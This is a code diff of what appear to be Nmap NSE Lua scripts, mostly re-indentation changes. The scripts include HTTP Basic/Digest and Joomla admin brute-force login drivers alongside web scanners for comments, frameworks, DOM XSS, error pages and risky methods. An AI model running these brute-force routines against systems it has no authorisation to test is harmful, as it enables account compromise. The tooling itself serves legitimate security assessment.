||||
-- a socket. We may end up here early with a set of credentials
|
||||
-- which won't be guessed until the end, due to socket exhaustion.
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
local response
|
||||
local opts_table
|
||||
if not self.digestauth then
|
||||
-- we need to supply the no_cache directive, or else the http library
|
||||
-- incorrectly tells us that the authentication was successful
|
||||
-- we need to supply the no_cache directive, or else the http library
|
||||
-- incorrectly tells us that the authentication was successful
|
||||
opts_table = { auth = { username = username, password = password }, no_cache = true }
|
||||
else
|
||||
opts_table = { auth = { username = username, password = password, digest = true }, no_cache = true }
|
||||
@@ -86,47 +86,47 @@ Driver = {
|
||||
return false, err
|
||||
end
|
||||
|
||||
-- Checking for ~= 401 *should* work to
|
||||
-- but gave me a number of false positives last time I tried.
|
||||
-- We decided to change it to ~= 4xx.
|
||||
if ( response.status < 400 or response.status > 499 ) then
|
||||
if ( not( nmap.registry['credentials'] ) ) then
|
||||
nmap.registry['credentials'] = {}
|
||||
end
|
||||
if ( not( nmap.registry.credentials['http'] ) ) then
|
||||
nmap.registry.credentials['http'] = {}
|
||||
end
|
||||
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
-- Checking for ~= 401 *should* work to
|
||||
-- but gave me a number of false positives last time I tried.
|
||||
-- We decided to change it to ~= 4xx.
|
||||
if ( response.status < 400 or response.status > 499 ) then
|
||||
if ( not( nmap.registry['credentials'] ) ) then
|
||||
nmap.registry['credentials'] = {}
|
||||
end
|
||||
if ( not( nmap.registry.credentials['http'] ) ) then
|
||||
nmap.registry.credentials['http'] = {}
|
||||
end
|
||||
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
check = function( self )
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
end,
|
||||
|
||||
check = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local status, result
|
||||
local path = stdnse.get_script_args("http-brute.path") or "/"
|
||||
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
|
||||
local status, result
|
||||
local path = stdnse.get_script_args("http-brute.path") or "/"
|
||||
local method = string.upper(stdnse.get_script_args("http-brute.method") or "GET")
|
||||
|
||||
if ( not(path) ) then
|
||||
return " \n ERROR: No path was specified (see http-brute.path)"
|
||||
end
|
||||
if ( not(path) ) then
|
||||
return " \n ERROR: No path was specified (see http-brute.path)"
|
||||
end
|
||||
|
||||
local response = http.generic_request( host, port, method, path, { no_cache = true } )
|
||||
local response = http.generic_request( host, port, method, path, { no_cache = true } )
|
||||
|
||||
if ( response.status ~= 401 ) then
|
||||
return (" \n Path \"%s\" does not require authentication"):format(path)
|
||||
end
|
||||
if ( response.status ~= 401 ) then
|
||||
return (" \n Path \"%s\" does not require authentication"):format(path)
|
||||
end
|
||||
|
||||
-- check if digest auth is required
|
||||
local digestauth = false
|
||||
|
||||
@@ -96,7 +96,7 @@ action = function(host, port)
|
||||
local min, max, page_test
|
||||
local bulk_start = stdnse.clock_ms()
|
||||
for i = 1,tries do
|
||||
local start = stdnse.clock_ms()
|
||||
local start = stdnse.clock_ms()
|
||||
if ( url_page:match("%?") ) then
|
||||
page_test = http.get(url_host,port,"/"..url_page.."&test="..math.random(100), { no_cache = true })
|
||||
else
|
||||
@@ -121,7 +121,7 @@ action = function(host, port)
|
||||
output = tab.new(4)
|
||||
tab.addrow(output, "page", "avg", "min", "max")
|
||||
for _, entry in ipairs(results) do
|
||||
tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
|
||||
tab.addrow(output, entry.page, ("%.2fms"):format(entry.avg), ("%.2fms"):format(entry.min), ("%.2fms"):format(entry.max))
|
||||
end
|
||||
output = "\n" .. tab.dump(output)
|
||||
else
|
||||
|
||||
@@ -57,100 +57,100 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
||||
-- the related comment.
|
||||
local getLineNumber = function(body, comment)
|
||||
|
||||
local partofresponse = body:find(comment, 1, true)
|
||||
partofresponse = body:sub(0, partofresponse)
|
||||
local _, count = string.gsub(partofresponse, "\n", "\n")
|
||||
local partofresponse = body:find(comment, 1, true)
|
||||
partofresponse = body:sub(0, partofresponse)
|
||||
local _, count = string.gsub(partofresponse, "\n", "\n")
|
||||
|
||||
return count + 1
|
||||
return count + 1
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local context = stdnse.get_script_args("http-comments-displayer.context")
|
||||
local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
|
||||
local context = stdnse.get_script_args("http-comments-displayer.context")
|
||||
local singlepages = stdnse.get_script_args("http-comments-displayer.singlepages")
|
||||
|
||||
local comments = {}
|
||||
local comments = {}
|
||||
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
if context then
|
||||
if (tonumber(context) > 100) then
|
||||
context = 100
|
||||
end
|
||||
|
||||
-- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
|
||||
for i, pattern in ipairs(PATTERNS) do
|
||||
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
|
||||
end
|
||||
if context then
|
||||
if (tonumber(context) > 100) then
|
||||
context = 100
|
||||
end
|
||||
|
||||
local index, k, target, response, path
|
||||
while (true) do
|
||||
-- Lua's abbreviated patterns support doesn't have a fixed-number-of-repetitions syntax.
|
||||
for i, pattern in ipairs(PATTERNS) do
|
||||
PATTERNS[i] = string.rep(".", context) .. PATTERNS[i] .. string.rep(".", context)
|
||||
end
|
||||
end
|
||||
|
||||
if singlepages then
|
||||
k, target = next(singlepages, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
path = target
|
||||
local index, k, target, response, path
|
||||
while (true) do
|
||||
|
||||
if singlepages then
|
||||
k, target = next(singlepages, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
path = target
|
||||
|
||||
else
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
end
|
||||
|
||||
if response.body then
|
||||
|
||||
for i, pattern in ipairs(PATTERNS) do
|
||||
for c in string.gmatch(response.body, pattern) do
|
||||
|
||||
local linenumber = getLineNumber(response.body, c)
|
||||
|
||||
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
|
||||
end
|
||||
end
|
||||
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
end
|
||||
|
||||
-- If the table is empty.
|
||||
if next(comments) == nil then
|
||||
return "Couldn't find any comments."
|
||||
if response.body then
|
||||
|
||||
for i, pattern in ipairs(PATTERNS) do
|
||||
for c in string.gmatch(response.body, pattern) do
|
||||
|
||||
local linenumber = getLineNumber(response.body, c)
|
||||
|
||||
comments[c] = "\nPath: " .. path .. "\nLine number: " .. linenumber .. "\nComment: \n"
|
||||
end
|
||||
end
|
||||
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
end
|
||||
|
||||
-- Create a nice output.
|
||||
local results = {}
|
||||
for c, _ in pairs(comments) do
|
||||
table.insert(results, {_, {{c}}})
|
||||
end
|
||||
end
|
||||
|
||||
results.name = crawler:getLimitations()
|
||||
-- If the table is empty.
|
||||
if next(comments) == nil then
|
||||
return "Couldn't find any comments."
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
-- Create a nice output.
|
||||
local results = {}
|
||||
for c, _ in pairs(comments) do
|
||||
table.insert(results, {_, {{c}}})
|
||||
end
|
||||
|
||||
results.name = crawler:getLimitations()
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
|
||||
end
|
||||
|
||||
@@ -78,70 +78,70 @@ end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua")
|
||||
local rapid = stdnse.get_script_args("http-devframework.rapid")
|
||||
local tools = stdnse.get_script_args("http-devframework.fingerprintfile") or loadFingerprints("nselib/data/http-devframework-fingerprints.lua")
|
||||
local rapid = stdnse.get_script_args("http-devframework.rapid")
|
||||
|
||||
local d
|
||||
local d
|
||||
|
||||
-- Run rapidDetect() callbacks.
|
||||
for f, method in pairs(tools) do
|
||||
d = method["rapidDetect"](host, port)
|
||||
-- Run rapidDetect() callbacks.
|
||||
for f, method in pairs(tools) do
|
||||
d = method["rapidDetect"](host, port)
|
||||
if d then
|
||||
return d
|
||||
end
|
||||
end
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||
maxpagecount = 40,
|
||||
maxdepth = -1,
|
||||
withinhost = 1
|
||||
})
|
||||
|
||||
if rapid then
|
||||
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
|
||||
end
|
||||
|
||||
crawler.options.doscraping = function(url)
|
||||
if crawler:iswithinhost(url)
|
||||
and not crawler:isresource(url, "js")
|
||||
and not crawler:isresource(url, "css") then
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
while (true) do
|
||||
|
||||
local response, path
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
|
||||
if (response.body) then
|
||||
|
||||
-- Run consumingDetect() callbacks.
|
||||
for f, method in pairs(tools) do
|
||||
d = method["consumingDetect"](response.body, path)
|
||||
if d then
|
||||
return d
|
||||
return d
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||
maxpagecount = 40,
|
||||
maxdepth = -1,
|
||||
withinhost = 1
|
||||
})
|
||||
|
||||
if rapid then
|
||||
return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
|
||||
end
|
||||
|
||||
crawler.options.doscraping = function(url)
|
||||
if crawler:iswithinhost(url)
|
||||
and not crawler:isresource(url, "js")
|
||||
and not crawler:isresource(url, "css") then
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
while (true) do
|
||||
|
||||
local response, path
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
|
||||
if (response.body) then
|
||||
|
||||
-- Run consumingDetect() callbacks.
|
||||
for f, method in pairs(tools) do
|
||||
d = method["consumingDetect"](response.body, path)
|
||||
if d then
|
||||
return d
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages."
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -67,84 +67,84 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
|
||||
local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
|
||||
|
||||
local domxss = {}
|
||||
local domxss = {}
|
||||
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
|
||||
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
if (not(crawler)) then
|
||||
return
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local index, k, target, response, path
|
||||
while (true) do
|
||||
local index, k, target, response, path
|
||||
while (true) do
|
||||
|
||||
if singlepages then
|
||||
k, target = next(singlepages, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
path = target
|
||||
if singlepages then
|
||||
k, target = next(singlepages, index)
|
||||
if (k == nil) then
|
||||
break
|
||||
end
|
||||
response = http.get(host, port, target)
|
||||
path = target
|
||||
|
||||
else
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
end
|
||||
|
||||
if response.body then
|
||||
|
||||
for _, fp in ipairs(JS_FUNC_PATTERNS) do
|
||||
for i in string.gmatch(response.body, fp) do
|
||||
for _, cp in ipairs(JS_CALLS_PATTERNS) do
|
||||
if string.find(i, cp) then
|
||||
if not domxss[i] then
|
||||
domxss[i] = {path}
|
||||
else
|
||||
table.insert(domxss[i], ", " .. path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
end
|
||||
|
||||
-- If the table is empty.
|
||||
if next(domxss) == nil then
|
||||
return "Couldn't find any DOM based XSS."
|
||||
if response.body then
|
||||
|
||||
for _, fp in ipairs(JS_FUNC_PATTERNS) do
|
||||
for i in string.gmatch(response.body, fp) do
|
||||
for _, cp in ipairs(JS_CALLS_PATTERNS) do
|
||||
if string.find(i, cp) then
|
||||
if not domxss[i] then
|
||||
domxss[i] = {path}
|
||||
else
|
||||
table.insert(domxss[i], ", " .. path)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if (index) then
|
||||
index = index + 1
|
||||
else
|
||||
index = 1
|
||||
end
|
||||
end
|
||||
|
||||
local results = {}
|
||||
for x, _ in pairs(domxss) do
|
||||
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
|
||||
end
|
||||
end
|
||||
|
||||
table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
|
||||
-- If the table is empty.
|
||||
if next(domxss) == nil then
|
||||
return "Couldn't find any DOM based XSS."
|
||||
end
|
||||
|
||||
results.name = crawler:getLimitations()
|
||||
local results = {}
|
||||
for x, _ in pairs(domxss) do
|
||||
table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
|
||||
end
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
|
||||
|
||||
results.name = crawler:getLimitations()
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
|
||||
end
|
||||
|
||||
@@ -47,86 +47,86 @@ local httpspider = require "httpspider"
|
||||
portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
|
||||
|
||||
local function compare(a, b)
|
||||
return a[1] < b[1]
|
||||
return a[1] < b[1]
|
||||
end
|
||||
|
||||
local function inTable(tbl, item)
|
||||
|
||||
item = tostring(item)
|
||||
for key, value in pairs(tbl) do
|
||||
if value == tostring(item) then
|
||||
return true
|
||||
end
|
||||
item = tostring(item)
|
||||
for key, value in pairs(tbl) do
|
||||
if value == tostring(item) then
|
||||
return true
|
||||
end
|
||||
return nil
|
||||
end
|
||||
return nil
|
||||
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
|
||||
local errcodes = stdnse.get_script_args("http-errors.errcodes") or nil
|
||||
|
||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||
maxpagecount = 40,
|
||||
maxdepth = -1,
|
||||
withinhost = 1
|
||||
})
|
||||
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
|
||||
maxpagecount = 40,
|
||||
maxdepth = -1,
|
||||
withinhost = 1
|
||||
})
|
||||
|
||||
crawler.options.doscraping = function(url)
|
||||
if crawler:iswithinhost(url)
|
||||
and not crawler:isresource(url, "js")
|
||||
and not crawler:isresource(url, "css") then
|
||||
return true
|
||||
end
|
||||
crawler.options.doscraping = function(url)
|
||||
if crawler:iswithinhost(url)
|
||||
and not crawler:isresource(url, "js")
|
||||
and not crawler:isresource(url, "css") then
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local errors = {}
|
||||
|
||||
while (true) do
|
||||
|
||||
local response, path
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
crawler:set_timeout(10000)
|
||||
|
||||
local errors = {}
|
||||
|
||||
while (true) do
|
||||
|
||||
local response, path
|
||||
|
||||
local status, r = crawler:crawl()
|
||||
-- if the crawler fails it can be due to a number of different reasons
|
||||
-- most of them are "legitimate" and should not be reason to abort
|
||||
if (not(status)) then
|
||||
if (r.err) then
|
||||
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
|
||||
if (response.status >= 400 and not errcodes) or
|
||||
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
|
||||
table.insert(errors, { tostring(response.status), path })
|
||||
end
|
||||
response = r.response
|
||||
path = tostring(r.url)
|
||||
|
||||
if (response.status >= 400 and not errcodes) or
|
||||
( errcodes and type(errcodes) == "table" and inTable(errcodes, response.status) ) then
|
||||
table.insert(errors, { tostring(response.status), path })
|
||||
end
|
||||
|
||||
-- If the table is empty.
|
||||
if next(errors) == nil then
|
||||
return "Couldn't find any error pages."
|
||||
end
|
||||
end
|
||||
|
||||
table.sort(errors, compare)
|
||||
-- If the table is empty.
|
||||
if next(errors) == nil then
|
||||
return "Couldn't find any error pages."
|
||||
end
|
||||
|
||||
-- Create a nice output.
|
||||
local results = {}
|
||||
for c, _ in pairs(errors) do
|
||||
table.insert(results, "\nError Code: " .. _[1])
|
||||
table.insert(results, "\t" .. _[2])
|
||||
end
|
||||
table.sort(errors, compare)
|
||||
|
||||
table.insert(results, 1, "Found the following error pages: ")
|
||||
-- Create a nice output.
|
||||
local results = {}
|
||||
for c, _ in pairs(errors) do
|
||||
table.insert(results, "\nError Code: " .. _[1])
|
||||
table.insert(results, "\t" .. _[2])
|
||||
end
|
||||
|
||||
results.name = crawler:getLimitations()
|
||||
table.insert(results, 1, "Found the following error pages: ")
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
results.name = crawler:getLimitations()
|
||||
|
||||
return stdnse.format_output(true, results)
|
||||
|
||||
end
|
||||
|
||||
@@ -37,9 +37,9 @@ Joomla's default uri and form names:
|
||||
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
|
||||
-- @args http-joomla-brute.hostname Virtual Hostname Header
|
||||
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
|
||||
-- username used to authenticate. Default: username
|
||||
-- username used to authenticate. Default: username
|
||||
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
|
||||
-- password used to authenticate. Default: passwd
|
||||
-- password used to authenticate. Default: passwd
|
||||
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
|
||||
--
|
||||
-- Other useful arguments when using this script are:
|
||||
@@ -79,19 +79,19 @@ Driver = {
|
||||
o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
|
||||
o.port = port
|
||||
o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
|
||||
o.options = options
|
||||
o.options = options
|
||||
return o
|
||||
end,
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
login = function( self, username, password )
|
||||
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
|
||||
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
|
||||
{ [self.options.uservar] = username, [self.options.passvar] = password,
|
||||
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
|
||||
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
|
||||
{ [self.options.uservar] = username, [self.options.passvar] = password,
|
||||
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
|
||||
|
||||
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
|
||||
stdnse.print_debug(2, "Response:\n%s", response.body)
|
||||
@@ -100,22 +100,22 @@ Driver = {
|
||||
return true, brute.Account:new( username, password, "OPEN")
|
||||
end
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
check = function( self )
|
||||
local response = http.get( self.host, self.port, self.uri )
|
||||
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
|
||||
-- Check if password field is there
|
||||
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
|
||||
check = function( self )
|
||||
local response = http.get( self.host, self.port, self.uri )
|
||||
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
|
||||
-- Check if password field is there
|
||||
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
|
||||
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
|
||||
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
|
||||
if response.body then
|
||||
local _
|
||||
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
|
||||
local _
|
||||
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
|
||||
end
|
||||
if security_token then
|
||||
stdnse.print_debug(2, "Security Token found:%s", security_token)
|
||||
@@ -124,12 +124,12 @@ Driver = {
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
return true
|
||||
else
|
||||
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
}
|
||||
---
|
||||
|
||||
@@ -55,7 +55,7 @@ categories = {"default", "safe"}
|
||||
|
||||
-- We don't report these methods except with verbosity.
|
||||
local UNINTERESTING_METHODS = {
|
||||
"GET", "HEAD", "POST", "OPTIONS"
|
||||
"GET", "HEAD", "POST", "OPTIONS"
|
||||
}
|
||||
|
||||
local filter_out, merge_headers
|
||||
@@ -63,92 +63,92 @@ local filter_out, merge_headers
|
||||
portrule = shortport.http
|
||||
|
||||
action = function(host, port)
|
||||
local url_path, retest_http_methods
|
||||
local response, methods, options_status_line, output
|
||||
local url_path, retest_http_methods
|
||||
local response, methods, options_status_line, output
|
||||
|
||||
-- default vaules for script-args
|
||||
url_path = stdnse.get_script_args("http-methods.url-path") or "/"
|
||||
retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil
|
||||
-- default vaules for script-args
|
||||
url_path = stdnse.get_script_args("http-methods.url-path") or "/"
|
||||
retest_http_methods = stdnse.get_script_args("http-methods.retest") ~= nil
|
||||
|
||||
response = http.generic_request(host, port, "OPTIONS", url_path)
|
||||
if not response.status then
|
||||
stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path)
|
||||
return
|
||||
end
|
||||
-- Cache in case retest is requested.
|
||||
options_status_line = response["status-line"]
|
||||
stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status)
|
||||
response = http.generic_request(host, port, "OPTIONS", url_path)
|
||||
if not response.status then
|
||||
stdnse.print_debug("http-methods: OPTIONS %s failed.", url_path)
|
||||
return
|
||||
end
|
||||
-- Cache in case retest is requested.
|
||||
options_status_line = response["status-line"]
|
||||
stdnse.print_debug("http-methods.nse: HTTP Status for OPTIONS is " .. response.status)
|
||||
|
||||
if not (response.header["allow"] or response.header["public"]) then
|
||||
return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status)
|
||||
end
|
||||
if not (response.header["allow"] or response.header["public"]) then
|
||||
return string.format("No Allow or Public header in OPTIONS response (status code %d)", response.status)
|
||||
end
|
||||
|
||||
-- The Public header is defined in RFC 2068, but was removed in its
|
||||
-- successor RFC 2616. It is implemented by at least IIS 6.0.
|
||||
methods = merge_headers(response.header, {"Allow", "Public"})
|
||||
-- The Public header is defined in RFC 2068, but was removed in its
|
||||
-- successor RFC 2616. It is implemented by at least IIS 6.0.
|
||||
methods = merge_headers(response.header, {"Allow", "Public"})
|
||||
|
||||
output = {}
|
||||
output = {}
|
||||
|
||||
if nmap.verbosity() > 0 then
|
||||
output[#output + 1] = stdnse.strjoin(" ", methods)
|
||||
end
|
||||
if nmap.verbosity() > 0 then
|
||||
output[#output + 1] = stdnse.strjoin(" ", methods)
|
||||
end
|
||||
|
||||
local interesting = filter_out(methods, UNINTERESTING_METHODS)
|
||||
if #interesting > 0 then
|
||||
output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)
|
||||
output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html"
|
||||
end
|
||||
local interesting = filter_out(methods, UNINTERESTING_METHODS)
|
||||
if #interesting > 0 then
|
||||
output[#output + 1] = "Potentially risky methods: " .. stdnse.strjoin(" ", interesting)
|
||||
output[#output + 1] = "See http://nmap.org/nsedoc/scripts/http-methods.html"
|
||||
end
|
||||
|
||||
-- retest http methods if requested
|
||||
if retest_http_methods then
|
||||
local _
|
||||
for _, method in ipairs(methods) do
|
||||
local str
|
||||
if method == "OPTIONS" then
|
||||
-- Use the saved value.
|
||||
str = options_status_line
|
||||
else
|
||||
response = http.generic_request(host, port, method, url_path)
|
||||
if not response.status then
|
||||
str = "Error getting response"
|
||||
else
|
||||
str = response["status-line"]
|
||||
end
|
||||
end
|
||||
output[#output + 1] = string.format("%s %s -> %s", method, url_path, str)
|
||||
end
|
||||
end
|
||||
-- retest http methods if requested
|
||||
if retest_http_methods then
|
||||
local _
|
||||
for _, method in ipairs(methods) do
|
||||
local str
|
||||
if method == "OPTIONS" then
|
||||
-- Use the saved value.
|
||||
str = options_status_line
|
||||
else
|
||||
response = http.generic_request(host, port, method, url_path)
|
||||
if not response.status then
|
||||
str = "Error getting response"
|
||||
else
|
||||
str = response["status-line"]
|
||||
end
|
||||
end
|
||||
output[#output + 1] = string.format("%s %s -> %s", method, url_path, str)
|
||||
end
|
||||
end
|
||||
|
||||
return #output > 0 and stdnse.strjoin("\n", output) or nil
|
||||
return #output > 0 and stdnse.strjoin("\n", output) or nil
|
||||
end
|
||||
|
||||
function filter_out(t, filter)
|
||||
local result = {}
|
||||
local _, e, f
|
||||
for _, e in ipairs(t) do
|
||||
if not stdnse.contains(filter, e) then
|
||||
result[#result + 1] = e
|
||||
end
|
||||
end
|
||||
return result
|
||||
local result = {}
|
||||
local _, e, f
|
||||
